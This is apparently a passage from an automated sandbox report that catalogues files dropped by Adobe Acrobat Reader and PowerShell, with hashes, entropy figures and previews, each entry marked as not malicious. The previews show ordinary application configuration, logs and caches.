SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfYdPeUkwRe9:YvXKXfZk9YpW7KsGg8Ukee9
MD5:	DB6F0C8CF71C5D3949E93E84C5E482F1
SHA1:	552305527BEBB46372B3972641D445A4A2F2C702
SHA-256:	C5A51C95A8DAA18F1D0C83CE35A301B8D12AD88050BB86FCF4B2577C87375C65
SHA-512:	1FFFBB95DB890092A84CD42D11B31BBE1DA86C50B1333EEB463DF2966FD9819AF66949CF1A01CA189F183C3416DDB056EF50DD7A0FA9124D6D394E4EFF62C287
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2518186848554045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJf+dPeUkwRe9:YvXKXfZk9YpW7KsG28Ukee9
MD5:	B5AA759FA5192F56FC1D4AA502D2B57C
SHA1:	85CD929413DA550CFA0CF5FB1BA524BDC546D084
SHA-256:	3F150F76B578FEB5682EB72802B5B53DC638E0BF6713A2479D432F91D0D2453B
SHA-512:	8747BC724FB6E78EA179CA6CD7BAC7462D22476C84AF32828D3354246EEBAC8BA4C9A2AC9C006C38B8C931518A5A4F708D43B90306892F47894C4C8FD0470DF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.24957148320317
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfbPtdPeUkwRe9:YvXKXfZk9YpW7KsGDV8Ukee9
MD5:	A4EE70A5CFC2DBBDB7205AC1C33517B5
SHA1:	DE9D134730969498F0960CFD52F8D0B8BFBE7E08
SHA-256:	B5058035E15D483600D61AA021C8B732DA7967EAFF35B1DD3F0F5C36F34540AC
SHA-512:	F4EE88D9CD50AC1EB81A3EA985EA3D7DE5EB783E5C41C25CFCA1FE4A6CD8D83496B758C9B9733C9373E45BC5C797E5EF7E0203FF45231445A0770A0EDFD54838
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.25077117475871
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJf21rPeUkwRe9:YvXKXfZk9YpW7KsG+16Ukee9
MD5:	A9B917CEEFD984C9699C282E01FAA1B6
SHA1:	982F8FD1189E9A442009F7BBC08B67D98350B2F0
SHA-256:	F66E8D11A0F4A2D60DC185D260D7AFC0F034A869EBE6400B5D74B21AAD6EE74E
SHA-512:	0A89FDB4613F3F371F8E4F576F821ECD91038FD23C57751BA64FAB52711425ECC900F476170A2C1468DED9B217D3E9B8052A57E55F67DE7699B59130446F192B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660292044587144
Encrypted:	false
SSDEEP:	24:Yv6XfZRiK5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSbA:YvoaQBgkDMUJUAh8cvME
MD5:	6C1119880A10FDA96C7A6E089EC95040
SHA1:	B5795762914DBD79A6989BDC43C014E74F7D8466
SHA-256:	5BA2EF2CD727431B01462CC8FAE19BA2A270C173ECD1692633008A139DC82F56
SHA-512:	794F3FFBEA87EDBA40CBB812176403EDAF240AF2022A4BE4A899F9DC25989B10B83A4EC477CE16A70988486EA26478E5B6F49C8C8F48DB3E0D3E48BE90EC0002
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.226562043918289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfshHHrPeUkwRe9:YvXKXfZk9YpW7KsGUUUkee9
MD5:	6E9C62E2501FEE9EA9AD80BCFDC56793
SHA1:	F6FAFD09BE587FE25683D1B12287D0396F9D88F3
SHA-256:	D668296C61497137F9F2DA215AF62B496C1465D3EE32FF9B5AC7970B968DA401
SHA-512:	43F3B343ECD486199DF099064A5852736F42FAB3C2F90417D7A86C73F07BF1D9ECD536A06157E623B2CB87F966EF4B9F81A74874648E05F40BD3D87BB2B5FF33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241542560919521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJTqgFCrPeUkwRe9:YvXKXfZk9YpW7KsGTq16Ukee9
MD5:	8FD366704CBBD8A93E20C3955A5F6851
SHA1:	6B09432A1992F2D4600CE1780D184D5647A7237C
SHA-256:	6A96AFDA8809A925C2A15E5848E916AE13E38DA1BB001A962E74E6CFFFA10958
SHA-512:	7BDE3EBB4AC5C50639FB2E72DA3184BB68A4D234A7205A4E5E7C0E6709FB0C76AAD090B12F1CE205BEC12F03500236A60464473ACCEE7EB968C3C5B4ADC1F841
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126265029080302
Encrypted:	false
SSDEEP:	24:YZ5Ia2QD3ayew951WDZaim5ALuG5b5TWSljAo9Fj0Ss9eFo2GcBF2LSsXCVbXcxe:YSQDaZNLu8AkJUTmFC6XctqMi0bD9Y
MD5:	D3517F5B91DA8BAF4643041663349975
SHA1:	BD136D657F4DA7B447B3C745A61D6C5E5E6E782C
SHA-256:	201427541E3E47F3C7E9E48DFD1E2F5C49FDFC7BDB5C62D899F68B4A3B89522D
SHA-512:	EA71586EBB4C760AB27B7087B28C37F824E8EF4BBE6B5856AD5CCDF53620595EA696C0729D9292D165CD572A37E64041733639BD5C19E6242B8BF7749976DC92
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"365ab93a15e788f3dd83535a60b1c373","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567318000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0ea0de3e67b0ab7e0e20f54966de0975","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567318000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5608f50ae4f9b4427ce6210c8e3fb0e4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567318000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"46df547cfa82d2ced530b16e2b816ee1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567318000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"216807883012b03ef5bb17df89c15c23","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567318000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"97542f236832136c146edef56e35629f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9848485188192719
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp9Sk14zJwtNBwtNbRZ6bRZ4GSk1F:TVl2GL7ms6ggOVpIkOzutYtp6Pikf
MD5:	3C18F05E4F3F648147D6C671ACAE7328
SHA1:	7BDAEF23F700B6B4DD19CCF6E306D362C5ECC615
SHA-256:	467B4E1ABEA98D1113F254040769849EF5C6F9888CF7559FE56CC3D8C45D6063
SHA-512:	BDE820F58B16CC4074C9AE11B2751A8E7A092BFECBAD8DA5EA04B7C8B678C6B4372588EC960032213B327BA8A3A62DD0BF4D4019C58B08A7A2E9C8AD33E7007D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338555241075078
Encrypted:	false
SSDEEP:	24:7+ttAD1RZKHs/Ds/Sp9Sk1PzJwtNBwtNbRZ6bRZWf1RZKeRqLBx/XYKQvGJF7urL:7MtGgOVpIk1zutYtp6PMRRqll2GL7msy
MD5:	5090E24D640F157E5C0A33F086979506
SHA1:	6BDA6B8AE394A8B0AB3A1C552CAE89246AD95A78
SHA-256:	06D96780FC1D7132E15264762104F32BE6B3E512C99D5B1BBB526115CB0D81AF
SHA-512:	3811440977F794BF04D8E4198C174620DD79D123F1200AA75A347E09415233E5EF8246C648ED5AF9F70AEC7E8534E5B880A5810496616ACF822EB5AC2A9A5A5E
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgD+wxZQZ3rn6x7cKcoh20rw2Yyu:6a6TZ44ADED+QQZD6xzrxK
MD5:	1E0AEB3AA613170E6CAD6CB01CAB1909
SHA1:	0038764889606BEA64B0039C84ACFC6AE1F3D1D9
SHA-256:	11D83EC4EDC38D57308EB8A5DF38677091E04DCBE498B0312FB17EB191181F70
SHA-512:	B8484EC2F10B5990D6F2E6FA22BFFDDFA0B261F085C184803D8C39CD83C6785A5460BA63C9F0CABA5E90AAA37C275B525E4EA01EC6EE274364C07BBE7538FAE7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI28f72.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl+Bw:Qw946cPbiOxDlbYnuRK+b3Bw
MD5:	B6DFDE60326481A6D7F1E9F41927B1F2
SHA1:	A5576C9F48326C3544CB84F1DA5804F04F5997B9
SHA-256:	4B73901538C04427A1121118A9954F09D95B93135D40C4ED0C5B86FBD0C257FA
SHA-512:	0CFFD194314DC5AA8E57C734691112295C8D22413DE1319A2BFFAEA021052645FEE64180123A81632CC4C1EA178F3998C9D35D4D399300A249345871CF7AEA31
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.4.8.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xb3ea0ro.hnz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdfdn0bh.axq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-48-34-273.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.36038540623302
Encrypted:	false
SSDEEP:	384:Y1ZcZYRUXd6qHdCFgKhkMHMEJVJqVtdoB5sjcDK71tdhd1xYu4yQrcz8NSNoVist:hcrqOF
MD5:	5DDC13AB6D30987FB3C384D1184454EB
SHA1:	7FB84F5B0A1A3D8E0BB0FA7007BCFF0F43C0BAA3
SHA-256:	E5C8644C07998B0289F0E84AB5D811FB1742589FE5CE096606B32539DED25008
SHA-512:	28F710AD2AD0E28E0CB055591B7DB7BB97BD9FD4E286A60B18A7E722F58D8E91169C207229F27A87E8755ED2C6F7260B01FA6965B01F04B92AA293DBE5CD5A55
Malicious:	false
Preview:	SessionID=85fe97c2-510b-4e4b-8f93-6eee2eaffc9d.1736567314291 Timestamp=2025-01-10T22:48:34:291-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=85fe97c2-510b-4e4b-8f93-6eee2eaffc9d.1736567314291 Timestamp=2025-01-10T22:48:34:292-0500 ThreadID=7752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=85fe97c2-510b-4e4b-8f93-6eee2eaffc9d.1736567314291 Timestamp=2025-01-10T22:48:34:292-0500 ThreadID=7752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=85fe97c2-510b-4e4b-8f93-6eee2eaffc9d.1736567314291 Timestamp=2025-01-10T22:48:34:292-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=85fe97c2-510b-4e4b-8f93-6eee2eaffc9d.1736567314291 Timestamp=2025-01-10T22:48:34:292-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394898198653554
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb+:1A
MD5:	1A0453FF2197975E218918E98863FF68
SHA1:	C57B2EC8AFB75CE3968E2447F4A0D9670885BFAF
SHA-256:	C33F10F76D976CB5A237DDA89629167B821A7E85DD2F724ED2C96EAA959E6F78
SHA-512:	0F4C0AF471ECC69F5007257E628BD9C1D94399DCD8A89D05F0218CBA7C244696517EBF312E78C484B1DED6C7CC24BC56F8A95CD8A33D7FD45C6A6D2B825D2135
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6e2243fb-ef7b-43dc-bd92-dc1c915acbd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\80d9630a-ed73-4b38-a091-e558b2ab8aa5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZftwYIGNPBVWo7oW:Jb3mlind9i4ufFXpAXkrfUs0wGZVwZGn
MD5:	3FDB0C8373DEDC7CED49FC8609AE6D25
SHA1:	BBB6818E2D026F96959F8DD9F0BEBD4AAC7A76D7
